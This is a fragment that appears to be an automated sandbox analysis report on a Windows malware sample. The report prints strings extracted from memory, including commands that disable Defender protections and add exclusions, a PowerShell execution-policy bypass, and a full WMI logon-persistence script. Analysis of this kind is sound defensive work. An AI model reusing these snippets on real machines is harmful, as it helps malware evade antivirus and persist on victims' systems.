API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "DeleteFileTransactedA" (Indicator: "DeleteFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "DeleteFileTransactedW" (Indicator: "DeleteFile"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")83:T674,Found string "DisableRealtimeMonitoring" (Indicator: "disablerealtimemonitoring"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.F53E0000.00000004.mdmp, 00000000-00001336.00000001.108809.F594E000.00000004.mdmp") Found string "DisableBehaviorMonitoring" (Indicator: "disablebehaviormonitoring"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000001.108809.F53E0000.00000004.mdmp, 00000000-00001336.00000001.108809.F594E000.00000004.mdmp") Found string "DisableIOAVProtection" (Indicator: "disableioavprotection"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.F53E0000.00000004.mdmp, 00000000-00001336.00000001.108809.F594E000.00000004.mdmp") Found string "DisableScriptScanning" (Indicator: "disablescriptscanning"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000001.108809.F53E0000.00000004.mdmp, 00000000-00001336.00000001.108809.F594E000.00000004.mdmp") Found string "DisableBlockAtFirstSeen" (Indicator: "disableblockatfirstseen"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000001.108809.F53E0000.00000004.mdmp, 00000000-00001336.00000001.108809.F594E000.00000004.mdmp") Found string "DisableIntrusionPreventionSystem" (Indicator: "disableintrusionpreventionsystem"; Source: "00000000-00001336.00000001.108809.F53E0000.00000004.mdmp, 00000000-00001336.00000001.108809.F594E000.00000004.mdmp")84:T46b,file/memory contains long string with (Indicator: "SetFileAttributes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "SetInformationFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "NtSetInformationFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.SetFileAttributes" (Indicator: "SetFileAttributes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "internal/syscall/windows.NtSetInformationFile" (Indicator: "SetInformationFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "internal/syscall/windows.NtSetInformationFile" (Indicator: "NtSetInformationFile"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "SetFileAttributesW" (Indicator: "SetFileAttributes"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp")85:T1b3b,file/memory contains long string with (Indicator: "CopySid"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "FreeSid"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetAce"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "EqualSid"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "IsValidSid"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetLengthSid"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "RevertToSelf"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "IsWellKnownSid"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "MakeAbsoluteSD"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "ImpersonateSelf"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "DuplicateToken"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "DuplicateTokenEx"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "SetEntriesInAcl"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "AdjustTokenGroups"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "IsTokenRestricted"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetSidSubAuthority"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "CreateWellKnownSid"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "MakeSelfRelativeSD"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "SetTokenInformation"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetSidSubAuthorityCount"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "ImpersonateLoggedOnUser"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "SetKernelObjectSecurity"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "AllocateAndInitializeSid"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "InitializeSid"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetSecurityDescriptorDacl"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetSecurityDescriptorSacl"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetSidIdentifierAuthority"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "IsValidSecurityDescriptor"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "SetSecurityDescriptorDacl"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "SetSecurityDescriptorSacl"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetSecurityDescriptorGroup"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetSecurityDescriptorOwner"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "SetSecurityDescriptorGroup"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "SetSecurityDescriptorOwner"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetSecurityDescriptorLength"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetSecurityDescriptorControl"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "InitializeSecurityDescriptor"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "SetSecurityDescriptorControl"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetSecurityDescriptorRMControl"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "SetSecurityDescriptorRMControl"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.GetTokenInformation" (Indicator: "GetTokenInformation"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp")86:T4aa,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "ExitProcess"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "TerminateProcess"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.TerminateProcess" (Indicator: "TerminateProcess"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "ExecuteUmsThreadExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")87:Tcde,"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "") "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000009"; Key: "PACKEDCATALOGITEM"; Value: "")88:Tba2,file/memory contains long string with (Indicator: "Out-String"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\def.ps1 C:\" (Indicator: "Out-String"; File: "AMSI") Found string "-NoProfile -ExecutionPolicy Bypass -Command "$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\def.ps1 C:\\"" (Indicator: "Out-String"; File: "powershell.exe") Found string "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\def.ps1 C:\\"" (Indicator: "Out-String"; Source: "00000000-00001336.00000000.107993.F2E20000.00000004.mdmp, 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp") Found string "t | Out-String)); & $script .\def.ps1 C:\" (Indicator: "Out-String"; Source: "00000000-00001336.00000000.107993.F2E20000.00000004.mdmp, 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp") Found string "$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\def.ps1 C:\" (Indicator: "Out-String"; Source: "00000000-00001336.00000000.107993.F2E20000.00000004.mdmp, 00000000-00001336.00000000.107993.F31F0000.00000004.mdmp, 00000000-00001336.00000000.107993.F4B60000.00000004.mdmp, 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp, 00000000-00001336.00000001.108809.F31F0000.00000004.mdmp") Found string "HostApplication=powershell.exe -NoProfile -ExecutionPolicy Bypass -Command $script = [ScriptBlock]::Create(($input | Out-String)); & $script .\def.ps1 C:\" (Indicator: "Out-String"; Source: "00000000-00001336.00000001.108809.F594E000.00000004.mdmp") Found string "owershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\def.ps1 C:\\"" (Indicator: "Out-String"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp") Found string "$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\def.ps1 C:\" (Indicator: "Out-String"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found string "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\" (Indicator: "Out-String"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp"), Found string "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\def.ps1 C:\\"" (Indicator: "Out-String"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp"), Found string "%powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\def.ps1 C:\\"" (Indicator: "Out-String"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp")89:T42f,file/memory contains long string with (Indicator: "Set-MpPreference"; File: "AMSI") file/memory contains long string with (Indicator: "Set-StrictMode"; File: "AMSI") Found string "{ Set-StrictMode -Version 1; $_.PSMessageDetails }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "& { Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "{ Set-StrictMode -Version 1; $_.OriginInfo }" (Indicator: "Set-StrictMode"; File: "AMSI") Found string "Set-MpPreference" (Indicator: "Set-MpPreference"; Source: "00000000-00001336.00000001.108809.F594E000.00000004.mdmp") Found string "Set-MpPreference -ExclusionPath $exclusions" (Indicator: "Set-MpPreference"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp")8a:T6a6,file/memory contains long string with (Indicator: "OpenMutex"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "CreateMutex"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "ReleaseMutex"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "CreateMutexW" (Indicator: "CreateMutex"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "ReleaseMutex" (Indicator: "ReleaseMutex"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CreateMutexA" (Indicator: "CreateMutex"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateMutexExA" (Indicator: "CreateMutex"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateMutexExW" (Indicator: "CreateMutex"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateMutexW" (Indicator: "CreateMutex"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")8b:T83f,"ime_init_done missingbad oldval passed to castogscanstatusstartTheWorld: inconsistent mp->nextpCouldn't put Gs into empty local runqruntime: unexpected SPWRITE function all goroutines are asleep - deadlock!ServiceName="%s"ShortSvcName="%s"unknown optional header magic: 0x%04XC:\Windows\System32\RuntimeBroker.exeP3: stager built (%d bytes, kernel32)stomp: selected %s @ 0x%X (size 0x%X)stomp: protected %d memory regions RWexec: StdinPipe after process startedreflect: funcLayout of non-func type reflect.Value.Bytes of non-byte slicereflect.Value.Bytes of non-byte arraymethod ABI and value ABI do not aligngodebug: unexpected IncNonDefault of 2220446049250313080847263336181640625cipher: message authentication failedcrypto/cipher: invalid buffer overlapcrypto/cipher: incorrect GCM tag sizeUnsubscribeServiceChangeNotificationsbisect.Hash: unexpected argument typehash/adler32: invalid hash state sizeCompanion EXE: %s (persist=%v, xor=%v)File-based: decrypting blob to disk...Setting up persistence (method: %q)...F" (Indicator: "runtimebroker.exe") "ime_init_done missingbad oldval passed to castogscanstatusstartTheWorld: inconsistent mp->nextpCouldn't put Gs into empty local runqruntime: unexpected SPWRITE function all goroutines are asleep - deadlock!ServiceName="%s"ShortSvcName="%s"unknown optional header magic: 0x%04XC:\Windows\System32\RuntimeBroker.exeP3: stager built (%d bytes, kernel32)stomp: selected %s @ 0x%X (size 0x%X)stomp: protected %d memory regions RWexec: StdinPipe after process startedreflect: funcLayout of non-func type reflect.Value.Bytes of non-byte slicereflect.Value.Bytes of non-byte arraymethod ABI and value ABI do not aligngodebug: unexpected IncNonDefault of 2220446049250313080847263336181640625cipher: message authentication failedcrypto/cipher: invalid buffer overlapcrypto/cipher: incorrect GCM tag sizeUnsubscribeServiceChangeNotificationsbisect.Hash: unexpected argument typehash/adler32: invalid hash state sizeCompanion EXE: %s (persist=%v, xor=%v)File-based: decrypting blob to disk...Setting up persistence (method: %q)..." (Indicator: "runtimebroker.exe")8c:T58c,"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Edge\Update\Download\66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe" wrote 17920 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Edge\Update\Download\Runtime\svcctrl3249_1523.exe": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e2400005045000064ff0700 ... "svcctrl3249_1523.exe" wrote 14544 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\nfpvxyybtomq.sys": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...8d:T8f5,Found string "$ErrorActionPreference='Stop';$ns='root\subscription';$n='%s';$exe='%s';Get-WmiObject -Namespace $ns -Class __FilterToConsumerBinding -ErrorAction SilentlyContinue | Where-Object { $_.Filter -match [regex]::Escape($n) -or $_.Consumer -match [regex]::Escape($n) } | ForEach-Object { $_.Delete() };Get-WmiObject -Namespace $ns -Class __EventFilter -Filter "Name='$n'" -ErrorAction SilentlyContinue | ForEach-Object { $_.Delete() };Get-WmiObject -Namespace $ns -Class CommandLineEventConsumer -Filter "Name='$n'" -ErrorAction SilentlyContinue | ForEach-Object { $_.Delete() };$filter=Set-WmiInstance -Namespace $ns -Class __EventFilter -Arguments @{Name=$n;EventNameSpace='root\cimv2';QueryLanguage='WQL';Query="SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LogonSession'"};$consumer=Set-WmiInstance -Namespace $ns -Class CommandLineEventConsumer -Arguments @{Name=$n;CommandLineTemplate=$exe};Set-WmiInstance -Namespace $ns -Class __FilterToConsumerBinding -Arguments @{Filter=$filter;Consume" (Indicator: "root\cimv2"; in File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string "$ErrorActionPreference='Stop';$ns='root\subscription';$n='%s';$exe='%s';Get-WmiObject -Namespace $ns -Class __FilterToConsumerBinding -ErrorAction SilentlyContinue | Where-Object { $_.Filter -match [regex]::Escape($n) -or $_.Consumer -match [regex]::Escape($n) } | ForEach-Object { $_.Delete() };Get-WmiObject -Namespace $ns -Class __EventFilter -Filter "Name='$n'" -ErrorAction SilentlyContinue | ForEach-Object { $_.Delete() };Get-WmiObject -Namespace $ns -Class CommandLineEventConsumer -Filter "Name='$n'" -ErrorAction SilentlyContinue | ForEach-Object { $_.Delete() };$filter=Set-WmiInstance -Namespace $ns -Class __EventFilter -Arguments @{Name=$n;EventNameSpace='root\cimv2';QueryLanguage='WQL';Query="SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LogonSession'"};$consumer=Set-WmiInstance -Namespace $ns -Class CommandLineEventConsumer -Arguments @{Name=$n;CommandLineTemplate=$exe};Set-WmiInstance -Namespace $ns -Class __FilterToConsumerBinding -Arguments @{Filter=$filter;Consum" (Indicator: "root\cimv2"; in File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe")8e:Tb61,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: 